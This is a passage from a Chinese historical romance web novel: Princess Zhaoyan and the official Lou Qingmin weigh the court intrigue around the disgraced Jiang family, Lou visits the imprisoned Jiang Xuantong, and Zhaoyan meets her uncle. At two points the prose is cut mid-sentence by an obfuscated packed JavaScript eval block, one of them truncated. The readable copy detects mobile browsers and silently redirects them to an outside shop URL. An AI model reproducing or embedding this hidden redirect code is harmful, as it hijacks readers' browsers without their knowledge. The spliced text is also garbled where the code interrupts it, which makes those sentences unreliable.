他转身,见人朝他的方向奔来,杏黄色曲裾长袍贴在身上,不知跑了多久,发钗已半坠到后脑,额上大汗淋漓,几缕青丝凌乱粘在面颊,毫无端庄优雅可言,实在是与她大国公主的身份不匹配。 他就站在原地微微皱着眉,看朝颜面红耳赤地喘着气,一步步走到他面前。 “公主如此着急忙慌是要做什么?” 朝颜面上挂起一副微笑,本以为眼前人是敌人,不想却与她站在同一处。 经过方才那处戏她才意识到娄卿旻不似旁人口中说得那样冷漠,那样清高,故而想多与他交谈一番。 送走国君与王后她也随之离席,本想快些追上娄卿旻,不想半途中迷了路,好在有侍卫巡视发现了她并为之指路,否则今日追不上他还不知何时能再见。 她刚站好就察觉出娄卿旻语气中的疑问与不满,朝颜愣神几瞬,见人视线全在自己身上,她低头一看,才发现自己竟乱了衣冠。 见状她连忙抚平衣衫,又理了发丝,站得端庄稳健,叹道:“大人怎么走得如此快,差点没追上您。” 她直接忽略了自己迷路之事。 “只是比公主提前离席,不存在快与不快之说。”娄卿旻答道。 湿润的汗水将朝颜颈上的薄纱印了个透,纱下皮肉若隐若现,白皙娇嫩,唯有一处颜色深红,男子双眸在其上一扫而过,眼神暗了片刻,忽的开口问她:“公主的伤如何了?” 闻言朝颜抬起眼皮,诧异的眸光落在娄卿旻身上。 在此之前他一心在公事上,从来不会多过问这些小事,如今突然关注她的伤反倒让她有些不自然了。 但她还是镇定接话:“入宫后又看了太医,已无大碍,日后或许会留个淡疤,也不劳烦大人记挂,权当我吃一堑长一智了。” 她说得十分随意,面带着笑,逍遥模样仿佛真的不在意一般。 但女为悦己者容,哪儿有女子不爱容颜,愿意自己身上无故留下一道疤呢? 娄卿旻又一次回想到朝颜那日与姜宣同一齐凑的热闹,如今看来真真是平添了身无妄之灾。 见娄卿旻没接话,朝颜想到自己追上来的目的,敬小慎微地环顾四周,见除了暮商没有外旁人,故而将心中所想道了出来: “大人,今日之前我着实没想到他们会将所有过错全部推到姜宣同一人身上,我们辛辛苦苦查了这么多时日,真的就这样认栽?还有那王堃,明明他的罪状最大,所受惩戒却偏偏不如姜宣同一半多,如此根本难以服众。” “罪状已定,别无他法。”娄卿旻言语也有丝无奈,但他又转言:“何况你怎知众人不想趁机落井下石?” “公主也见到了方才宴席上国君定罪的场面,满朝上下无一反驳,竟全然由王家把控全局,如此也能看出难以服众此类的话根本不存在,众人巴不得泉城城主就此倒台。” “在燕国,有些人的存在本身就是个隐患,立在那不动也会让人忌惮,更何况是满城百姓皆称赞的城主大人。” 娄卿旻说完这些话,垂首默默看了眼前女子一眼,言语疏离:“有些朝堂之间的阴暗事,公主还是装作不知道为好,以免牵扯进去连累自身。” 听完眼前人一言,朝颜忆起方才王氏一家人在大殿上你来我往的那出戏码才后知后觉顿悟了般,瞪大了双眼,“照大人所言,我们与姜宣同姜城主全然成了国君与王家对弈的局中棋子?” 从前未与燕融接触过,她也不知道燕融是如此心机深沉的人,往日只听闻他仁政爱民,从来不知他对忠臣会是如此冷漠态度,用完便丢弃。 而娄卿旻虽入朝为官时间不长,但也接触过朝堂之上的勾心斗角,稍微不慎便会丧命。也理解了幼时自己父亲在华纪换了国君之后选择主动请辞,怕的就是如姜贯一般变成弃子。 他对燕融今日所做之事半点都不诧异。 见朝颜一脸无措,难以置信,他开导她道:“普天之上,王权之下,谁人不是棋子?” 纵使你是开国功臣又如何? 也不过是随拿随取,随用随弃的棋子。 前朝国君需要你,现任国君不需要你,自然也不会放任泉城那样富饶的地盘掌握在外人手中。 或许在寻常人眼中泉城无危无害,甚至不起眼。 但在朝臣与君王面前,泉城是最大的隐患。 且不说军中大部分士兵家业皆出自那里,若城主有心,使些上不得台面的计谋士兵便只听命于他一人。更何况姜贯是真心待下,将泉城从破败不堪难以温饱慢慢打理成锦绣富足饱食暖衣的繁华之城,就算是养条畜牲也懂知恩图报,更别说活生生的人了。 若姜贯真有心反,他一声令下,泉城所有人定会弃暗投明,另寻他主。 水能载舟亦能覆舟,当年泉城城主携全城壮丁投身前线替国君打打杀杀建立起燕国,后面便也能推翻国君自己上位称王。 人人都有颗猜忌之心,君王更甚。 燕融今日之举怕是早前便有所准备,只不过姜宣同突然给了他可乘之机,将所有事提前了,他自是顺势而为。 娄卿旻不知怎地忽然想到朝颜先前不愿回去和亲的理由是护住燕国,继而开口问她:“公主,臣虽不知你先前所说燕国覆灭之事是何意,但如今燕国朝堂的情况你也看到了,你作何感想?” 朝颜听出他言外之意,反道:“大人是想问我是否还要救他们?” 言罢,娄卿旻的眼神暗暗转了一下,情绪隐在眼皮子下,好似承认了他的小心思。 其实在来此之前他并不认为燕国会覆灭,所以朝颜先前所言在他这里都是无稽之谈,他便始终持着怀疑姿态。但如今燕国国君如此包庇罪人,他便理解了朝颜为何会说燕国覆灭那句话。 君王冷情任用佞臣,包庇袒护罪人。 而一心为民的前朝功臣抛下所有才能换取自家儿子一命,如此是非不分颠倒乾坤,实在匪夷所思,令人胆寒。若你提前知晓你所救之人是如此薄情寡义,重利轻贤臣的昏君,救或不救? “若我说不救……” 谁知朝颜话未说完,只见对面立着的娄卿旻眼皮一掀,目光犀利,薄唇勾起一个弧度,与先前那份君子模样完全不一样,活脱脱像个充斥着危险的猛兽,“为何不救?” “燕国国君如此做也是因登位不久,手中权势太弱,对王堃背后之人有所忌惮,或许今日之举另有它意呢?” 朝颜没问他为何替燕融说话,反而抓住重点,“你是说,王堃背后之人王酉铭?大人,你是不是知道些什么?” “公主眼下要做的不是不救也不是置身事外,而是见机行事。” 听君一席话胜读十年书,朝颜还颇为佩服娄卿旻那缜密的头脑,迫不及待想知道燕国国君今日之举还有什么别的意思,又想听一听他对阻止燕国覆灭有何高见,“大人,恕我愚钝,要如何见机行事才好……” 她刚问出口,忽然听到远处几位宫女的大声呼唤,“殿下!公主殿下!” 朝颜收起求问的态度,转身看了去,见她们急急忙忙朝二人奔来,对她道:“王后召您去少寝宫,说是泉城城主入宫了,要见您一面。” 炎炎烈日,二人不知不觉已经交谈了许久,见宫女来了娄卿旻也没再接话,眸光深沉地看了朝颜一眼,示意让她先去赴王后的约。 许是那一眼确确实实让朝颜心安了下来,她当着宫女的面对男人垂首行了一礼,“大人我先告辞了,您路上慢些,改日我再去拜访您。” 娄卿旻亦是抬手作揖,身后暮商随之一起,道了句“恭送殿下!” 朝颜随宫女一齐离开,娄卿旻悄然无声地站在原地目送,直至她的背影愈来愈远,他心中跳出一道疑虑,泉城城主与朝颜非亲非故,为何要点名见她?还是他知晓了姜宣同将朝颜掳上府之事? “大人,殿下已经走远了,我们何时离宫?” 身侧暮商见公主的背影消失在眼前,而自家大人还未回神,还盯着公主离开的方向看,忍不住出声提醒他。 娄卿旻睥睨了他一眼,语气冷如冰:“去司寇大牢,我要见姜宣同。” 瞧瞧,又气了。 暮商又一次发觉自家大人一遇上公主便像个活生生的人,有情绪有脾气了。只要与公主有关他便会有别样的情绪,终是男子与女子,如此一来一往,关系迟早会变得不一般。 不过纵使他心中有无数逾矩的想法也根本不敢道出口,万一大人恼羞成怒迁怒于他,他的生涯也到头了。 故而一刻都不敢耽搁赶快将娄卿旻的马牵来,二人上了马,离宫远去…… 不见天日的牢房中,时不时传来几声动魄惊心的惨叫。 喧闹环境中,独留一处静谧之地。 姜宣同虽是国君下旨要重点关注的要犯,但因着城主父亲的缘故,又加上他中毒无法自理,便被安排在一处相较于其他人更干净的牢房,还配有专人看守并为其熬药解毒。 娄卿旻从内城赶回来的时候已经日暮西山,姜宣同喝过解药还在沉睡中,不过他早已不似在自己府上那样不管不顾呼呼大睡了,反而变得警惕起来,是前半辈子都没有过的机敏。 一听到脚步声靠近他便睁开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405606|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,对上娄卿旻清明的双瞳,他瞬间清醒过来,“大人,您来了。” 今日之事姜宣同已然知晓。 娄卿旻在大殿上所言亦被宫人们一传十十传百,流到这人多口杂的牢狱中,姜宣同早就料到会是这样的结果,也不悲悯,反而觉得这才是他的命,如草芥如蝼蚁,随便一脚便能被踩死,他不怪谁,但唯一让他痛苦的便是,自家父亲将自己的城主之印奉到国君面前求国君网开一面的卑微。 想到那样好的人为了救他却要抛弃所有,他便觉得眼下的自己生不如死。 “姜宣同,你怕死吗?” 阴森的牢狱中传入更寒凉的话,姜宣同恍惚觉得自己入了十八层地狱在被阎王爷问话,但眼前男人分明是个活的,他缓过神坐起身子陷入沉思。 许久后,他才接话:“怕。” “君要臣死臣不得不死,但纵使死,我也不能连累父亲。” 也不枉先前众人为他求情,也算没看走眼。 娄卿旻高大身影挡在姜宣同面前,盯着他受伤的手臂看了一眼,面上有几分释然,道:“你有如此孝顺心性便是好的。” “不过你切记,此次是城主大人奉上整座城池、还有公主为你求情,才赎回你半条命,如若不然,以你府上那些贩盐得来的银钱,你早就没命了。还有一句话送给你。” “识人不清、遇人不淑统统不会有好下场,望你日后能长个记性。” 姜宣同懊恼地垂下了头。 时至今日他才真正认识到,利益面前无真情。 更何况他与王堃本就不熟,前两年还是王堃主动赠予他一枚罕见的玉璧,他才逐渐与之互相送礼走动起来的。不然他们一个所居东城一个在西城,八竿子打不着边怎么会一齐行敛财之事。 错了便错了,知错就改善莫大焉,姜宣同不想再思考王堃一家人,反而想到那日朝颜的伤,也不知她是否与父亲相认了,不然怎还未来牢狱中看他。想到娄卿旻与她好似有些关系,便问他:“大人可知朝颜现在何处?我想见她一面!” “你不好好养伤,见她作甚?” 见姜宣同被自己一句话唬住,娄卿旻忆起二人先前假拜堂成亲一事,面上染了几分薄怒,语气明显不悦:“本官奉劝你收起那些小心思,公主的名讳不可随意亵渎,她也不是你一个罪人能肖想的。” 牢狱中蓦地一片清静,姜宣同笑出声:“大人您想到哪儿去了?我何曾说过肖想她?” “朝颜的母亲,也就是华纪国的先王后,乃是我的亲姑母。大人,您知晓亲姑母吗?我二人是实打实的堂兄妹!我承认先前确实是我色迷心窍与她假成亲,但我对天发誓,我从未对她做过任何男女间的亲密举动,在这件事上我并未犯下什么不可饶恕的错误。至于我今日说想见她一面一是要感谢她救我一命,二是告诉她我们之间的关系。” 话说完姜宣同忽然反应过来,眼神直勾勾望向娄卿旻,连连摇头,“不对不对,大人你为何如此关心我对她是什么心思?” “怕不是您对朝颜存了什么见不得人的心思吧?” 毕竟有句话说,心什么样,看人便什么样,娄卿旻如此替朝颜的清誉着想,难道不是过于关心朝颜?难道不是倾慕朝颜? 朝颜如此美貌过人,又聪明机智,还将他耍得团团转,任哪个男人见了都会忍不住侧目吧?若非知晓她是他表妹,他定是要将这样为数不多的美人娶回府好好宠着的。 闻言娄卿旻剑眉紧蹙,生怕被人污蔑似得,拂袖侧过身子不看姜宣同,冷漠道:“简直胡言乱语!” 姜宣同见娄卿旻反应实在异常,很像他年轻时被戳破心事还不承认的恼羞成怒。姜宣同便觉得自己在男女之事上压娄卿旻一头,偏偏不想如他的意,非要点明:“如何?被我说中了?” 而后又将自己当成朝颜的长辈,盯着男人左看右看,摇了摇头,“不过我不允,坚决不允!你脾气如此难以捉摸,朝颜嫁给你定免不了受气,我不准许。” “姜宣同!”娄卿旻十分严肃地唤他。 “君子应慎言。公主是待嫁之身,你不要胡乱将我二人攀扯到一起,若传出去有损王室颜面。”他义正言辞地说完,面色涨红许多,表情极其认真。 姜宣同下意识小声嘟囔了一句,“我可不是什么君子,我是病子,不过大人您还真是个死板的君子。” 他在娄卿旻看不到的背面默默瞥了他一眼,眼神带着不理解与不屑。 姜宣同自幼时起便接触过许多无法道出口的王廷秘事,对世家早已不似从前阿谀奉承的模样,或许也是事不关己高高挂起。 不知怎地,与娄卿旻说完这几句便感觉伤口处隐隐作痛,而后他自发躺下,还是忍不住嘲笑眼前人:“大人,恕我多嘴,王室颜面与大人您有何干系?怕是身为公主的朝颜都没您这样在意。” 21. 内城风波(四) 在其位谋其政,处其事忘其身。 不得不说娄卿旻可谓真正做到了恪尽职守,远门在外还依旧煞费苦心地替王室着想。 但姜宣同性急,独身一人惯了,前半生所接触过的人,唯有君王与他的子嗣身边人才会格外在乎什么王室颜面,据他所见像娄卿旻这样的外臣,都是装装表面功夫而已。 唯独眼前人一本正经地在乎王室荣辱,与旁人的惺惺作态对比格外不同,显得愚忠。 曾几何时听闻娄卿旻带着仅有不多的士兵声东击西,巧胜山匪,那时的他还未加冠,便已经名扬诸国。 而后又听闻他在经商方面颇有造诣,后来更是提出制盐、设立盐官、控制各国盐量来拿捏诸国,他便更佩服此人,总想着自己若有他一半聪明头脑,定能替父亲掌管家业,奈何自己做事总三分热度,贪财好色还轻易听信小人之言,如今还吃了大亏。 今时今日真见到传言中的人,才知人与人终是不同,天差地别,思想更是不一。 但他还是不想娄卿旻这样的能人异士被道德律法所束缚,于是他又劝解道:“大人,在我看来王室颜面是王室该考虑的,与旁人没多大关系,您真的不必太过介怀,人生不过短短几十年,若事事被规矩束缚,岂不是少了许多乐趣?” “此言差矣。”娄卿旻摇头接话。 “为臣本应尽忠报国事事为王上考虑,为民更当遵纪守法做好自己该做的,至于乐趣,不过是世人被种种欲望裹挟而蒙蔽了双眼的借口罢了,譬如你,若是不贪财不沉迷美色,哪里会落得如今的下场?” 自记事起父亲便时常教导他不要过分贪恋人世间任何一种东西,权、财、色亦或是口腹之欲,都应做到敬而远之,否则便会落个家破人亡的结局。 幼时的惨痛记忆他一直铭记在心,半点不敢忘怀,时刻提醒自己取之有度用之有节,不肯多留半点财权。 就连他那偌大的府邸也只有寥寥五个内侍,只是因为要上战场,才会在身边多培养了一批亲卫,为国效力。 见娄卿旻又出言反驳,姜宣同只笑笑不语,对他所言半点不意外。 人各有志,他若真被自己劝动了,姜宣同还觉得这人不过如此。 二人就这样不言不语待了半刻,娄卿旻又对姜宣同道了句自求多福便转身离开了牢房,话已送达,他也不想在此争辩什么乐趣规矩,要回去做些正事了。 路过关押十廿的牢狱,二人对视了一眼。经过几日的严刑拷打男人全身上下已经没有半点好肉,偏偏嘴硬至此,半个字都不透露,只说是普桑派来买盐的。但娄卿旻知晓,他那身穿着打扮与精致的毒匕首早已暴露了他的身份。 奈何燕国众人对北狄穿着用度丝毫不了解,便以为他背后是普桑世家在谋划,想从他口中撬出些有用的证据与普桑对峙,换些利益。不过一直没有进展,他便只能来硬的,将人打个半死再治好,治好又继续拷打。 娄卿旻不会可怜他,只觉得这是他该承受的。自己与燕国非亲非故,又因燕国国君包庇小人之事,他便也没心思道破十廿是北狄人的身份。 他准备放长线,钓大鱼。 他站在十廿大牢门前思索许久,在天黑之前回到了酒肆。 到酒肆后他将琐事放到一旁,猛然想起牢狱中姜宣同所言,居然也开始思虑自己是否对朝颜存了越界的心思,他虽对男女之事一知半解却也不是个傻的。 但回忆起二人之间的言行举止,除了那日自作主张帮她挡住伤痕以外,他可是从未有过逾越。 倾慕与欣赏他还是懂得的,他对朝颜如此关注全然是为了旁人。 朝饶失踪,不论他身为臣子还是太子挚友,他都需护着朝颜不受伤害,莫要说她的和亲之事与华纪日后的兴盛息息相关。 滴水之恩涌泉相报,他亦明白他所做之事全是为了还兄妹二人幼时的救命之恩,除此之外别无他意。 又或者说,他身为臣子,岂能肖想公主? 不过姜宣同今日所言倒是给了他警醒,日后要与公主保持好一定的距离,免得再落人口舌。 * 翌日一早,朝颜用过膳便半躺在公宫寝殿内的漆木小榻上,忽然回忆起昨日被宫女带到少寝宫她与舅父相认的情形,便觉得眼眶红红鼻头酸涩。 她这个被众人众人冷眼相待、嗤之以鼻了许多年的杀母凶手又多了两位亲人,舅父与表哥。 回首前半生,自出生便丧母,她从小到大的记忆中除了冷漠的父王,视她如猛虎的继母,爱挑衅的庶妹,心中便只有一个宠她爱她护她的兄长,始终没有旁人的位置。 兄长前段时日失了联系,她又想到年少时待她不错的堂姐,才来到燕国。 如今忽然告诉她,除了这两位亲近之人她还有别的亲人,就仿佛是在沙漠中挣扎许久的将死之人终于又找到一丝水源,解了渴救了命,又可以重拾信心继续前行了。 但前世的惨痛结局告诉她,任何人都不能深入交往,就算是日日同塌而眠的枕边人亦会为了权利反目成仇。她也不敢对除去朝饶朝弦以外的任何人再付出真情了。 但她又心知肚明,血浓于水的亲情是止不住的,或许她也可以试着依靠这个亲人。 昨日朝弦拉着她的手坐在少寝宫一架较低的漆木蟠龙纹帐榻上,等人宣姜贯进殿。 男子人已中年,往日落下旧疾,如今走路腿脚也不似年轻时灵活,慢慢移到二人面前,行礼道了一声“拜见王后!” “大人快起来吧,不必多礼。”朝弦指了指一旁的软垫道:“大人腿脚不便快坐下说话。” 姜贯已经年岁不小了,经历了姜宣同之事,一夜之间乌发中又增添了无数白发,他连夜赶路马不停歇地来到内城,面容早已憔悴得不像话,他慢慢坐在垫上,盯着王后身侧的窈窕女子看了许久。 那双状似桃花的盈盈眼眸闪烁着的光亮是那样好看,微微勾唇一笑,齐整的皓齿露出,从内而外散发的自信不怯场,给他一种特别熟悉的感觉,似有姜妤泉未嫁人时的灵动气息。 见此他一下子便确认王后身边的少女确实是自家亲妹所生,他看向王后,见王后也在一旁附和着点头,更加验证了朝颜的身份。 姜贯想到旧人旧事心里十分惭愧,眼眶渐渐湿润,怕吓到朝颜他也不敢大声说话:“公主的模样简直与你的母亲如出一辙。” 话毕他便撑着不利索的腿脚起身,想对朝颜行大礼。 二人不相熟,朝颜除了笑笑也不知该说什么,正懵懂着,见人突然对她行礼便慌了神,连忙跑下去将人搀扶起来,言语间尽是无可奈何,主动唤了他一句:“舅父。” “今日来此为的是你我二人私下相认之事,又不是朝见王上,为何行如此大礼?属实是折煞朝颜这个小辈了。” 姜贯见她所言中全是对自己避之不及的疏离,愧疚感更上一层,满面愁容,“好孩子,自你生下来到现在我只见过你一面,实在是我的罪过,我向你道歉。”说着还要跪下行礼。 朝颜紧紧拉住人的衣袖,眼中有几分不明所以,“为何要道歉?” 燕国与华纪距离甚远,只见过一面也不是他的错,他不应与她道歉,更或者说,道歉多此一举。 “当年你母亲因生你难产而亡,舅父那时痛心疾首还怪过你,是舅父错了。你那时不过一个刚出生不久的小女娃,如何能背负起那样大的一条人命呢?” 说着姜贯又狠狠捶打了自己那病腿几下,“全怪我,让你平白吃了这么多年的苦,早知今日我那时应拼了这条命带你回泉城,便也不会轮到你去和亲了。那普桑千里迢迢的,你一个弱女子无依无靠,免不了受苦。我实在没脸去见你九泉之下的母亲,她那样的脾性知晓种种,定不会饶恕我。” 一番解释的话语让朝颜明白许多事,知晓眼前人如旁人一般将母亲之死推倒她身上,她又一次心死了,但失望又能如何,伤痛已然存在,都于事无补了。 她自能撑着头皮,故作淡然地接话:“没什么的,反正在华纪十多年间,我已经习惯了。” 习惯被人在私下称为杀人凶手,习惯被君王嫌弃丧门星,亦是习惯了对母亲的愧疚。 起初还会想为何她什么都没做便被如此人如此诟病,久而久之便习惯成自然了。身为孩童害母亲死亡,身为女子却无嗣,貌似自她生下来那刻一些事便已经注定好了。 注定要接受众人的流言蜚语,一辈子逃不开。她获得了寻常百姓得不到的荣华富贵,却也平添了些寻常人不应该受的委屈,有得必有失,她怪不得谁。 姜贯听出朝颜在假装不在意,实则内心已经千疮百孔。 他缓慢抬起手掌抚上朝颜的发髻,像在触摸珍宝一般,动作极其轻柔,“孩子,你受苦了,舅父真的对不住你。” 他甚至在想,若可以,他应把朝颜带走藏起来,不让她去跳普桑那个龙潭虎穴。 “舅父,过去的事已经过去,既往不咎,那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜贯还以为朝颜是害怕自己没了权利变成任人宰割的鱼肉,连忙安慰她:“孩子,你听舅父说,你信我,如今我虽成了一介草民,但我也会尽我最大的能力保护你,舅父实话告知你,舅父不是傻子,舅父还有留有后招,若你实在不愿和亲,我可以帮你逃跑,届时我们一家人去一个无人知晓的地盘躲起来,舅父再替你寻一门好亲事,我们远离朝堂纷争远离宫廷,定让你能幸福安稳得过完后半辈子。” 姜贯所言虽让朝颜动容,但她脑子是清醒的。 她笑着道:“我自然信舅父能豁出去保护我,但我也明白既身为公主就要履行自己的职责,华纪如此泱泱大国,我若真逃了,不论逃到天涯海角也会被抓住,与其整日东奔西走,还不如放手一搏。” “何况,舅父又怎知我嫁到普桑便一定会受难呢?”朝颜历经多日已经决定不逃了,待解决燕国之患便去普桑,兵来将挡水来土掩,她不信自己半点改不了自己的结局。 姜贯见朝颜如此识大局,心中的小九九也逐渐消散了。他尊重朝颜的选择,也愿意当她背后的靠山。 后来二人分别时刻相约翌日一齐去牢狱中见姜宣同,姜贯便去面见了国君燕融。 他抵达朝宫时燕融坐在金银漆案前好半晌了,听到内侍禀报便宣姜贯进殿了,看到姜贯的身影随即将手中臣子们上奏的文书放到一旁,淡然开口:“姜卿,孤看在你的面子上已经从轻处置了姜公子,你今日特意来见孤,可是有什么事?” 姜贯拱手作揖,面色为难:“臣确实有一事,想最后再求国君。” 燕融挑眉,“何事?说来听听。” “臣想向国君举荐一位有才能之人,望国君看在臣从前为国效力的份上,试上一试。” “可是你什么远方表亲来此投奔你了?” 毕竟他可从未听说姜贯手下有何可用之才。 但见姜贯摇头否定,“他与臣是旧识,是臣在偶然一次出城巡防时相识的,臣见他孤苦无仃便将他留在府邸数年,这段时日臣病卧在榻,也是他将臣的府邸打理得井井有条,如今臣的儿子犯了罪,臣要离开,左思右想也不能拖累一个外人。” 姜贯是有情有义之人,这些年不干预朝政也不做坏事,燕融都看在眼里,燕融觉得此事事小,莫大的王宫多一个人也无妨,便答应了,“孤会给他个机会,但留不留得住便要看他自己的本事了。” “谢国君!” 燕融忽然让四下宫人都退了出去,独留他二人在殿内。 他从案前起身,一步步下高台走到姜贯身前,俯身在他耳旁言语极轻:“姜卿,此次放你一马,你可要带姜宣同走得远些,最好逃到一个旁人找不到的地盘。” 姜贯微微弯曲的身子突然停顿了下,眼皮一掀,便又听他道:“孤能放你一马,不代表所有人都会放你一马。” 姜贯有功劳亦有苦劳,但放任他掌握泉城城主的大权,众人都有偏见。若杀他,燕融不舍,也不愿背上骂名,所以,便只能逼他主动交权。不过在一些人眼中,纵使他什么都没了也是个隐患,所以他确实应该隐居,逃得远些,逃到天涯海角。 大殿之上空荡荡,许久才传来别有深意的一声拜别: “草民懂了,待那逆子受过处罚,草民便离开燕国……” 22. 内城风波(五) 今日风和日煦,碧空万里,朝颜在宫中待着自觉无趣,一想到姜家与燕国之事便心中烦闷,总觉得不能坐以待毙,左思右想便特意去王后宫中请了出宫王令,与姜贯二人一齐来到关押姜宣同的牢狱探望他。 往日放诞不羁的男人不复存在,只剩被伤痕摧残的支离破碎,麻木地躺在草席之上,连有人来探望他都未发觉。 “你的伤可好些了?”姜贯最先出声唤醒了迷离的男人。 姜宣同还以为听错了,不想抬头便看见花容月貌的女子与颇具威严的中年男人在牢门前端正地站着,他一个鲤鱼打挺便坐了起来,捂着手臂故意卖惨,一瘸一拐地走到门前。 “父亲!您来看我了,我这伤口确实还有些疼。” 而后将目光转到女子身上,一袭鹅黄色直裾裙包裹着高挑纤瘦的身姿,干净纯洁,与这肮脏的牢狱对比显得格格不入,姜宣同视线又向上扫去,见她脖颈处没再遮掩,立马扯着笑脸道:“你也来了!你的伤好了?” 朝颜明明记得姜宣同未伤到腿,见他如此装模作样也忍不住勾了勾唇角,笑着点头回应他,“好了”。 “莫要如此没大没小!” 姜贯看不惯男子如此放浪,又义正言辞地解释:“这是朝颜公主,你姑母之女,亦是你的表妹。” “我二人早已打过交道。” 若姜宣同不说这句话,姜贯都已经忘了是他传信于泉城告知朝颜在燕国的,一想到二人男女有别,或许是以某种见不得人的法子相识,姜贯便气不打一处来,随即气愤道了句:“简直胡闹!” “往日我对你千叮咛万嘱咐,不要沉迷男女之事不要与小人私交,就是怕你误入歧途,不想这次到底还是着了王家的道!” 说到正事上姜宣同便立刻收起那副不正经的笑脸,羞愧地垂下了头,“父亲,孩儿不孝,连累了你们,是我对不住你们。” 姜贯也不在此事上多怪罪,毕竟早在他初次掌权泉城那日他便料到会有如今的下场,比起丢掉性命,失了财权反而不算什么大事。而这件事说是姜宣同一人犯错,实际全是冲着他与泉城来的。 姜贯看着眼前人摇头,叹了口气,“罢了,都是天命所归,谁也怨不得。” “待你受过那五十杖我们便离开燕国罢。” “离开燕国?父亲你说的可是真话?我们去哪儿?”忽然说要离开从小长大的故乡,姜宣同还有些不舍,一连问了好几句。 “天地广阔,总有我们的容身之地。” 朝颜在一旁站着,见二人眉头紧蹙颇有忧虑,她提议道:“或许舅父可以先带着表哥去华纪一避?我可让娄少傅传封书信给王上,届时他看在母亲的面子上也会收留你们。” 朝颜虽知道华纪国君不喜自己,但前几日听说自己出生前他二人也曾相濡以沫过几年,王上应是喜爱母亲的,若母亲的亲人有难,他出手相助也是理所应当。 然姜贯本人则是不想与朝穆牵上关系,毕竟已经许久未有过交集,他也不好扯下他那张老脸再去求朝穆收留,只想着走一步看一步,安慰朝颜,“此事你别插手。我与我儿且行且看,随遇而安便足够了。” 话毕朝颜也不好再说什么,那双明亮的眸子转向牢狱中的姜宣同,发出疑问:“表哥,我今日来此是想问你,普桑之人你是从何处识得的?” “此事说来话长。起初全是那王堃牵线搭桥的,说是只在我这里存放粗盐,其余的他全权安排。据说他还专程给了普桑人一个符节,表妹既然来了燕国,想必也知道那东西是出入嘉阳关最关键之物。后来那王堃以公务繁忙为由让我替他出面贩盐,自此便逐渐成了我与普桑人交易,他只在背后藏盐。” “你就答应得如此快?”未免上钩得过快了。 果不其然,下一刻姜宣同便谄谄接话:“他说我二人四六分,我这才……” 人为财死鸟为食亡,还真是亘古不变。朝颜竟不知钱财对一个人的诱惑力竟如此之大,让人当牛做马不顾性命也要将财握在手中。 “你还真是……” 姜贯到嘴的话又咽了回去,而后摇摇头,极其失望地看着姜宣同,事已至此再教训他又能如何?只能盼着他能知错就改,日后不再犯。 而后他对一旁朝颜道:“此事过去便过去了,颜儿你也不必再问了。何况他无凭无据空有一张嘴,如今就算去国君面前解释也于事无补。” “舅父,朝颜是怕,怕王家与那普桑暗地勾结,若日后做出有负燕国之事,您待如何?救或不救?” 闻言,姜贯沉默了。 姜家一家毕竟是从燕国世代相传许多年的家族,就连泉城也是在他手下慢慢变成如今的繁华模样,真让他舍弃了,或者看着城池破败就此远去,他又不甘心。 他离开了,那左师与大司马又那样与世无争,不理世事,任由王酉铭一家独大,迟早会有蛇吞大象之局面。 姜贯倒是无所谓谁人担当国君,但若是王酉铭那样贪婪的人掌权是万万不可的,他利欲熏心,先前就以征收赋税为由压榨外城百姓促使人们吃不饱穿不暖也要上交粮食,害死过许多人,最后被他一句填满国库为日后对抗敌军做准备,便将燕融打发了,实乃燕国最大的隐患。 眼下王酉铭还只是负责国库钥匙,掌管外城百姓,燕融一时半会也不会将泉城印玺交到旁人手上,但王酉铭终究是不同的,日日在他耳边吹风,若哪一日将燕融说通了,后续免不得对泉城下手。 姜贯不能眼睁睁看着百姓的安稳生活被一个贪官小人就此打乱,于辛苦劳作供养上位的百姓来说,不公平。 他试探问道:“颜儿的意思是?” “朝颜以为,您眼下不该离开,若真要走,也应解决了王家这个巨大的隐患,将表哥的罪名洗刷了我们再走不迟。” 本想着让二人先去华纪避避风头,但思虑许久朝颜还是变了主意,眼下除了姜贯没有旁的人会帮她,若她要闹出些动静须得有熟悉燕国的人在一旁帮她打掩护,也能让她少走许多弯路。 “但眼下国君十分信任他,抓不到错处便不能把他们如何。” “老虎都有打盹的时候,我不信他能做到日日不出差错。” 确实如此,话糙理不糙,姜贯被朝颜这席话激得斗志满满,一脸认真地盯着她,“你且说,我这把老骨头能帮你做些什么?” 做什么朝颜还未想好,眼下她不知朝堂之事,需要与娄卿旻商议一下再做打算。不过有了姜贯的支持,朝颜觉得事情或许不会那么艰难了,或许真要学着与娄卿旻一样,懂得利用外部力量。 大司寇赵成延在牢狱门口等了许久迟迟不见人出来,便只身前来打破几人的交谈,催促着:“公主殿下,姜大人,探视时间已到,此地污秽,快些离开吧!” 三人默不作声对视一眼后向牢狱外走去,许是前一次被十廿那眼神吓到,朝颜路过关押的牢狱时也没再偷偷看他,直到出了大门她才开口问大司寇,“赵大人,您可有从普桑人口中问出什么?” “他那几位同伙刚被关进牢狱便服毒自尽了。” “带头那个人嘴硬得很,半个字都不肯说。” 男人微微颔首,从袖中掏出两把证据递到女子面前,“不过,我从他身上搜到了两把匕首,其中一个与姜公子受伤时被划破衣襟的刀刃类似,还有一个……” 朝颜接过看了几眼,很眼熟,来回翻转了几下,脑中忽然闪过一道回忆,这刀貌似就是那日抵在她脖颈处的那把!刀柄处镶嵌着精美的玉石,半点不是寻常人家能买得起的。 此人身上竟有如此贵重的玉石,身份定不简单。不过朝颜更好奇,十廿如此不要命也要护着的背后之人究竟是谁?能让人对他忠心耿耿被打得皮开肉绽也不松口。 她实在是想不到普桑谁会对燕国下手。 衡无倡眼下无实权不太可能针对燕国,太子衡宿不理世事更不可能想出此等法子,若说是普桑国君衡煜倒还有些说得来,但原因为何呢?中原好不容易停止战乱安稳了十多年,彼此井水不犯河水,难道他想先下手为强打破这平衡? 